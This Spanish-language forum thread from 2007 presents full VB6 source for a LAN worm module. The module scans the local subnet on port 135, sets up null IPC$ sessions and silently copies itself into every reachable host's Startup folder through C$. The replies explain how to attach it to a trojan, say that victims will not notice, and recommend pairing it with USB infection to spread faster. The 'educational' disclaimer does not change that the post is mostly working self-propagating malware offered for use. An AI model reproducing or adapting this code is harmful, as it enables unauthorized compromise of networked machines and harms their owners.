[Source] NetBios infection Module (ojo que es peligroso!)

Iniciado por Mad Antrax, 14 Julio 2007, 20:56 PM

0 Miembros y 1 Visitante están viendo este tema.

Mad Antrax

NetBios infection Module 1.0

Alguien ha pedido como hacer que nuestra aplicación hecha en VB6 infecte todos los equipos de una LAN de forma automática? Bien, aquí tienes un sencillo módulo que permite hacer tal cosa.

Para ello me he aprovechado de las flaquezas del protocolo NetBios, así como el poder de las sesiones nulas al IPC$ para infectar una LAN.

Este código es algo peligroso y sólo lo publico como prueba de concepto, el fin de este código es puramente educativo y didáctico, cualquier otro fin que le podáis dar será calificado como ilegal y el autor no se responsabilizará de los efectos causado por él. Para probar esta código es necesario hacerlo bajo unas estrictas medidas de seguridad y bajo un entorno de prueba. Prohibido usarlo en redes de trabajo reales.

sin más que añadir... aquí lo tenéis.

Código (vb) [Seleccionar]
'##############################################'
'#                                            #'
'# NetBios LAN Infection Module - version 1.0 #'
'#                                            #'
'# Made by ||MadAntrax||                      #'
'# Date: 14/jul/07                            #'
'#                                            #'
'#                       Happy Coding... ;D   #'
'##############################################'

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim WS As CSocketMaster

Sub Main()
    Set WS = New CSocketMaster      'Modulo Winsock de CSocketMaster
    Dim SelfIP As String            'Nuestra propia IP de la LAN
    Dim SubNet As String            'Nuestra SubRed, ejemplo: 192.168.1.X
    Dim SubNetArray As String       'Almacenamos los Hosts de la LAN que son vulnerables
    Dim BufferIP() As String        'Almacenamos los octetos de nuestra IP
   
    SelfIP = WS.LocalIP             'Obtenemos nuestra IP de la LAN
    BufferIP = Split(SelfIP, ".")   'Partimos los octetos en un Array
   
    If UBound(BufferIP) = 3 Then
        SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2)    'Obtenemos nuestra SubRed: 192.168.1.X
       
        SubNetArray = GetAliveHosts(SubNet, BufferIP(3))                'Obtenemos los Hosts que son vulnerables a NetBios
        If SubNetArray <> "0" Then                                      'Comprobamos que hay Hosts vulnerables en nuestra LAN
            Call GetPrivilegesOnSubNet(SubNet, SubNetArray)             'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
            DoEvents                                                    'Esperamos...
            Call InfectSubnet(SubNet, SubNetArray)                      'Infectamos los Hosts vulnerables gracias a C$
        End If
    End If
End Sub                                                                 'Fin del Código

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que almacena en un array el último octeto de la dirección IP de
'todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.5
'   192.168.1.10
'   192.168.1.128
'   192.168.1.200
'
'Esta función devuelve: "5,10,128,200"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
    Dim AliveHosts As String                                    'Array donde se almacenan los Hosts vulnerables
   
    AliveHosts = ""
    WS.Protocol = sckTCPProtocol                                'Establecemos el protocolo en TCP
    For i = 1 To 254                                            'Bucle desde X.X.X.1 hasta X.X.X.254
        If WS.State <> sckClosed Then WS.CloseSck               'Si el Socket no está cerrado, lo cerramos para evitar errores.
        DoEvents                                                'Esperamos...
            WS.Connect SubNet & "." & i, 135                    'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
        Sleep 500                                               'Esperamos 1/2 Segundo...
        If WS.State = sckConnected And i <> MyHost Then         'Si el Hosts es vulnerable y el Host no es MiPC entonces...
            AliveHosts = AliveHosts & i & ","                   '   añadimos el octeto del Host en el Array
        End If                                                  'End If
    Next i
       
    If Len(AliveHosts) > 0 Then                                 'Si hemos encontrado al menos 1 Host vulnerable...
        AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1)      '   quitamos el último caracter del Array (siempre es una ",") para evitar errores.
        GetAliveHosts = AliveHosts                              '   devolvemos el Array como valor de retorno
        Exit Function                                           '   finalizamos esta función
    End If                                                      'End If
    GetAliveHosts = "0"                                         'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
'en todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.128
'   192.168.1.200
'
'Esta función ejecuta:
'   net use \\192.168.1.128\ipc$ "" /user:""
'   net use \\192.168.1.200\ipc$ "" /user:""
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
    Dim tmpArray() As String
    Dim tmpIP As String
   
    tmpArray = Split(SubNetArray, ",")
    For i = 0 To UBound(tmpArray)
        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
        Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
    Next i
    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
'de los Hosts vulnerables a NetBios, para ello utiliza C$
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.128
'   192.168.1.200
'
'Esta función ejecuta:
'   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
    Dim tmpArray() As String
    Dim tmpIP As String
   
    tmpArray = Split(SubNetArray, ",")
    For i = 0 To UBound(tmpArray)
        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
        Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
    Next i
    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function





Que hace este código?

Primero obtiene nuestra IP y toma por defecto que se trata de una red de clase C (255.255.255.0), a partir de aquí crea un bucle desde:

X.X.X.1 hasta X.X.X.254 he intenta conectar al puerto 135 de TCP (NetBios), si lo consigue entonces establece una sesión nula (net use X.X.X.128ipc$ "" /user:"") para luego copiarse en la carpeta inicio de todos los usuarios bajo la unidad C$

Dudas, comentarios, sugerencias, criticas.. aquí porfavor :P
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

securedigital

Simplemente , Cojonudo !!!
(quizas es tu record en hacer un script/pgr, tardaste poquisimo....)

SAludos
The man who whispered to the computers
Der Mann, der zu den Computern flüsterte

                                                 FAD58DE7366495DB4650CFEFAC2FCD61

                                    

3k1n0x

jeje q bueno, pero alguien sabe si funciona en todos los casos, es decir funciona en xp service pack 2 con actualizaciones?
T3fL0n -> 3k1n0x

Mad Antrax

Cita de: Hexas en 14 Julio 2007, 21:14 PM
jeje q bueno, pero alguien sabe si funciona en todos los casos, es decir funciona en xp service pack 2 con actualizaciones?

Sí, funciona en la mayoría de casos. El sistema operativo en este caso tiene que ser un Windows 2000 (cualquier ServicePack), Windows XP (con cualquier Service Pack). El único requisito es que los equipos estén en un Dominio o Grupo de Trabajo y tengan el puerto 135 habilitado.

He usado rutas como "Menú InicioProgramasInicio", eso significa que sólo funcionaría en equipos con el Windows en Castellano.

Salvando esos inconvenientes, este código es bastante efectivo y combinándolo con algún otro tipo de infección (por ejemplo infección de pendrives o similares) consigues expandir tu ejecutable de forma rápida y efectiva
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

d(-_-)b

Gracias ||MadAntrax|| el code es muy bueno.

Saludos...by...Dominicano
Max 400; caracteres restantes: 366

HALC12

haber me van a disculpar por preguntar esto  pero es que casi no estoy familiarizado con esto  de conexiones  

mi duda  es que si este modulo lo tengo que llamar desde el formulario,
me explico yo tengo mi troyano    bueno  
le puedo anexar este modulo para hacer que se expanda por toda la red lan?
que efectos negativos le trairia al pc en el que se ejecute.


Mad Antrax

#6
Cita de: HALC12 en 14 Julio 2007, 21:25 PM
haber me van a disculpar por preguntar esto  pero es que casi no estoy familiarizado con esto  de conexiones 

mi duda  es que si este modulo lo tengo que llamar desde el formulario,
me explico yo tengo mi troyano    bueno 
le puedo anexar este modulo para hacer que se expanda por toda la red lan?
que efectos negativos le trairia al pc en el que se ejecute.

Para llamarlo desde tu proyecto te recomiendo que agregues el Modulo principal "Module1.bas" y los de CSocketMaster (si no lo tienes ya) a tu proyecto.

Después haces:

Código (vb) [Seleccionar]
Sub Form1_Load()
   Call Module1.Main()
End Sub


El Módulo puede demorarse un poco si encuentra muchos Hosts vulnerables, en los entornos de prueba donde lo he testeado ha tardado algo menos de 1 minuto en infectar 20 equipos.

En el PC donde lo ejecutes es posible que se le disparen muchos procesos NET.EXE que se pueden visualizar desde el TaskManager, recomiendo deshabilitarlo antes por politicas.

Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

HALC12

pero en los pc que se copia no da aviso de nada osea si alguien  esta trabajando en ese pc se daria de cuenta o no espero que me netiendas
el troyano es para poderme conectar a los pc de toda la red

Mad Antrax

Cita de: HALC12 en 14 Julio 2007, 21:55 PM
pero en los pc que se copia no da aviso de nada osea si alguien  esta trabajando en ese pc se daria de cuenta o no espero que me netiendas
el troyano es para poderme conectar a los pc de toda la red

No, el equipo "infectado" no se dará cuenta. Si tiene un firewall monitoreando el puerto 135 es posible que le aparezca un popup bloqueando la conexión y mostrando la dirección IP del emisor del paquete, pero eso ocurre pocas veces, nade se alarma por una alerta en el puerto 135 a no ser que sea un usuario "paranoico de su seguridad".
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

WHK

Citarpero eso ocurre pocas veces, nade se alarma por una alerta en el puerto 135 a no ser que sea un usuario "paranoico de su seguridad".
:P yo así tengo configurado mi Zone alarm y verifico los 4 puertos mas esenciales que son puerto 135 de TCP/UDP y los puertos 139, 445 y 593 de TCP para llamadas a procedimiento remoto RPC DCOM.

Felicidades nuevamente, miraré muy minusiosamente tu código porque hay mucho que rescatar.